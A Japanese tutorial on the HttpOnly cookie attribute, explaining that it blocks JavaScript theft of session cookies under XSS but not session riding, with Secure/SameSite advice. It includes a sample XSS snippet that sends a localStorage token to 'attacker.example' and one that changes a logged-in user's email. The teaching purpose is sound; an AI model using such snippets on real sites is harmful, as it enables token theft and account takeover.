HttpOnly の役割
HttpOnly は、Cookie を JavaScript から読ませないための属性です。
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
このCookieは、HTTP通信ではサーバに送られます。しかし、ブラウザ上のJavaScriptからは読めません。
console.log(document.cookie);
// session_id=abc123 は表示されない
認証用Cookieに HttpOnly を付ける主な目的は、XSS が起きたときにセッションIDやトークンを盗まれにくくすることです。
守るものは「窃取」
XSS が起きると、攻撃者のJavaScriptがサイト上で実行されます。もしトークンが localStorage に入っていれば、次のように盗めます。
const token = localStorage.getItem("access_token");
fetch("https://attacker.example/steal", {
method: "POST",
body: token,
});
HttpOnly Cookie にしておけば、同じことはできません。
const cookie = document.cookie;
// HttpOnly Cookie はここに含まれない
ポイント: HttpOnly は、Cookie の中身を JavaScript から盗まれにくくする設定です。XSS の発生自体を止める設定ではありません。
守らないものは「操作」
HttpOnly Cookie は読めません。しかし、ブラウザはCookieを自動で送ります。
つまり、XSSで攻撃者のコードが実行されると、Cookieの中身を知らなくても、ログイン中ユーザーとして操作される可能性があります。
await fetch("/api/change-email", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email: "attacker@example.com" }),
});
このリクエストには、ブラウザがCookieを付ける可能性があります。サーバから見ると、ログイン済みユーザー本人からのリクエストに見えます。
このように、Cookieの値は盗めなくても、ブラウザ内でセッションに便乗される攻撃を session riding と呼ぶことがあります。
localStorage JWT との被害の違い
localStorage にJWTを置いた場合と、HttpOnly Cookie にセッションIDを置いた場合では、XSS後の被害範囲が変わります。
| 観点 | localStorage JWT | HttpOnly Cookie |
|---|---|---|
| JavaScriptから値を読めるか | 読める | 読めない |
| トークンを外部に送れるか | 送れる | 送りにくい |
| XSS中に操作されるか | される | される可能性あり |
| 攻撃者が自分の環境から再利用できるか | しやすい | しにくい |
HttpOnly Cookie の価値は、「XSSがあっても安全」ではありません。「高価値なトークンをブラウザ外へ持ち出されにくい」です。
Secure と SameSite もセットで考える
認証Cookieでは、HttpOnly だけでなく Secure と SameSite も重要です。
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
| 属性 | 役割 |
|---|---|
HttpOnly | JavaScriptから読ませない |
Secure | HTTPS通信でのみ送る |
SameSite=Lax | 多くのクロスサイト送信を抑える |
Path=/ | サイト全体でCookieを使う |
本番環境の認証Cookieでは、原則として HttpOnly と Secure は付けます。SameSite はアプリの構成によって Lax、Strict、None を選びます。
HttpOnly Cookie に入れるもの
よくある選択肢は、次の2つです。
| 入れるもの | 説明 | 特徴 |
|---|---|---|
| セッションID | サーバ側のセッションを参照するID | 即時ログアウトしやすい |
| 暗号化されたセッション本体 | Cookie自体にセッション情報を暗号化して入れる | サーバ側ストア不要だが即時失効は工夫が必要 |
初心者はまず、Cookieには「セッションID」を置き、ログイン状態の本体はサーバ側に置く、と理解するとよいです。
Cookie: session_id=abc123
サーバ側には次のようなデータがあります。
{
"abc123": {
"userId": "user_001",
"role": "student",
"expiresAt": "2026-06-15T00:00:00Z"
}
}
まとめ
HttpOnly Cookie は、認証CookieをJavaScriptから読ませないための基本設定です。
ただし、守れるものと守れないものを分けて理解する必要があります。
- 守れる: Cookie値のJavaScript経由の窃取
- 守れない: XSSそのもの
- 守れない: XSS中にブラウザから正規リクエストを送られること
- 併用すべき: XSS対策、CSRF対策、重要操作の再認証
実践メモ: 認証Cookieにはまず HttpOnly、Secure、SameSite を検討します。そのうえで、XSS と CSRF は別の攻撃として対策を重ねます。
参考リソース
- 公式ドキュメント - HttpOnly Cookie とは何か - JavaScript から読めない Cookie を確認するための一次情報